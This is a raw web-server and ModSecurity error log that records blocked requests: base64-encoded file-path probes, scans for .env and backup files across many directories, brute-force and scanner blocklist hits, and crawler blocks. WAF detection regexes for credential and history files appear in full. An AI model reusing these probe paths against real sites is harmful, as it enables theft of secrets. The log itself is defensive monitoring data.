https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:13:45.251776 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:13:45.403598 2026] [security2:error] [pid 531155:tid 531165] [remote 17.241.227.254:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 254.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yOSmiP80klyS0NnoUawABTAk"] [Sat Jun 13 18:13:45.521318 2026] [security2:error] [pid 531155:tid 531338] [client 114.119.149.159:22451] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "ybflorida.com"] [uri "/new-construction/subdivision/95566-dellrosedellrose"] [unique_id "ai3yOSmiP80klyS0NnoUegAAAT8"], referer: https://ybflorida.com/new-construction/subdivisions/tx/hockley [Sat Jun 13 18:13:45.532515 2026] [security2:error] [pid 531155:tid 531294] [client 114.119.157.196:33337] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "afrilech.org"] [uri "/category/uncategorized/page/2/"] [unique_id "ai3yOSmiP80klyS0NnoUfQAAARM"], referer: http://afrilech.org/category/uncategorized/page/2/ [Sat Jun 13 18:13:45.661932 2026] [security2:error] [pid 531155:tid 531330] [client 114.119.135.223:21549] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.jfootsteps.com"] [uri "/mms/Video-martinique-v-etats-unis-v-fr-fr-1jka-i10.php"] [unique_id "ai3yOSmiP80klyS0NnoUkwAAATc"], referer: https://www.jfootsteps.com/mms/Video-martinique-v-etats-unis-v-fr-fr-1jka-i10.php?cyobu [Sat Jun 13 18:13:45.771751 2026] [access_compat:error] [pid 531155:tid 531179] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:13:45.772024 2026] [access_compat:error] [pid 531155:tid 531179] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:13:45.847534 2026] [security2:error] [pid 531155:tid 531298] [client 114.119.153.188:64993] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "forum.codeproblem.com"] [uri "/whiteboard/id/69099"] [unique_id "ai3yOSmiP80klyS0NnoUnQAAARc"], referer: http://50.87.31.154/whiteboard/id/69099 [Sat Jun 13 18:13:45.943598 2026] [security2:error] [pid 531155:tid 531169] [remote 17.246.19.53:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yOSmiP80klyS0NnoUowABaQ0"] [Sat Jun 13 18:13:46.060877 2026] [security2:error] [pid 531155:tid 531216] [remote 17.241.227.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yOimiP80klyS0NnoUrAABUzw"] [Sat Jun 13 18:13:46.147064 2026] [security2:error] [pid 531155:tid 531206] [remote 103.28.36.168:60210] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.36.28.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lotusfengshui.co.uk"] [uri "/wp-login.php"] [unique_id "ai3yOimiP80klyS0NnoUsQABEzI"], referer: https://lotusfengshui.co.uk/wp-login.php [Sat Jun 13 18:13:46.295853 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9pbnB1dC9pbnB1dDIvaWQ= [Sat Jun 13 18:13:46.296291 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9pbnB1dC9pbnB1dDIvaWQ= [Sat Jun 13 18:13:46.728535 2026] [security2:error] [pid 531155:tid 531329] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/class_object/get_object_vars_error_001.phpt"] [unique_id "ai3yOimiP80klyS0NnoU1wAAATY"] [Sat Jun 13 18:13:46.830350 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:13:46.830626 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:13:47.134391 2026] [security2:error] [pid 531155:tid 531212] [remote 17.246.19.194:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 194.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yOymiP80klyS0NnoU7gABUzg"] [Sat Jun 13 18:13:47.229408 2026] [security2:error] [pid 531155:tid 531203] [remote 17.22.253.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yOymiP80klyS0NnoU9AABZC8"] [Sat Jun 13 18:13:47.335375 2026] [access_compat:error] [pid 531155:tid 531262] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9pbnB1dC9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:47.335865 2026] [access_compat:error] [pid 531155:tid 531262] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9pbnB1dC9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:47.381688 2026] [security2:error] [pid 531155:tid 531192] [remote 17.22.237.75:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 75.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yOymiP80klyS0NnoVCQABCiQ"] [Sat Jun 13 18:13:47.467318 2026] [security2:error] [pid 531155:tid 531398] [client 114.119.151.72:64491] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "glorymfb.com"] [uri "/unregistered-group/new-dawn-contribution/"] [unique_id "ai3yOymiP80klyS0NnoVEAAAAXs"], referer: https://www.glorymfb.com/unregistered-group/ [Sat Jun 13 18:13:47.484501 2026] [security2:error] [pid 531155:tid 531177] [remote 114.119.154.6:0] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "arab-cgt.org"] [uri "/1-cape-verde-currency-to-naira/"] [unique_id "ai3yOymiP80klyS0NnoVFAABTBU"], referer: https://arab-cgt.org/1-canadian-dollar-to-nigerian-currency/ [Sat Jun 13 18:13:47.594028 2026] [security2:error] [pid 531155:tid 531326] [client 208.84.100.220:55948] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/app/.env"] [unique_id "ai3yOymiP80klyS0NnoVLwAAATM"] [Sat Jun 13 18:13:47.597098 2026] [access_compat:error] [pid 531155:tid 531240] [remote 216.73.216.182:47158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:47.597576 2026] [access_compat:error] [pid 531155:tid 531240] [remote 216.73.216.182:47158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:47.612692 2026] [security2:error] [pid 531155:tid 531346] [client 208.84.100.220:56008] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/web/.env"] [unique_id "ai3yOymiP80klyS0NnoVWgAAAUc"] [Sat Jun 13 18:13:47.612716 2026] [security2:error] [pid 531155:tid 531365] [client 208.84.100.220:55990] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/src/.env"] [unique_id "ai3yOymiP80klyS0NnoVWwAAAVo"] [Sat Jun 13 18:13:47.612810 2026] [security2:error] [pid 531155:tid 531368] [client 208.84.100.220:55962] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/api/.env"] [unique_id "ai3yOymiP80klyS0NnoVXAAAAV0"] [Sat Jun 13 18:13:47.622950 2026] [security2:error] [pid 531155:tid 531293] [client 208.84.100.220:56000] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/server/.env"] [unique_id "ai3yOymiP80klyS0NnoVVwAAARI"] [Sat Jun 13 18:13:47.622950 2026] [security2:error] [pid 531155:tid 531285] [client 208.84.100.220:55978] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/laravel/.env"] [unique_id "ai3yOymiP80klyS0NnoVVgAAAQo"] [Sat Jun 13 18:13:47.623005 2026] [security2:error] [pid 531155:tid 531386] [client 208.84.100.220:56020] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/public/.env"] [unique_id "ai3yOymiP80klyS0NnoVWAAAAW8"] [Sat Jun 13 18:13:47.623050 2026] [security2:error] [pid 531155:tid 531404] [client 208.84.100.220:55964] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/backend/.env"] [unique_id "ai3yOymiP80klyS0NnoVWQAAAYE"] [Sat Jun 13 18:13:47.623544 2026] [security2:error] [pid 531155:tid 531322] [client 208.84.100.220:55932] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.old"] [unique_id "ai3yOymiP80klyS0NnoVXQAAAS8"] [Sat Jun 13 18:13:47.623581 2026] [security2:error] [pid 531155:tid 531329] [client 208.84.100.220:55904] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude 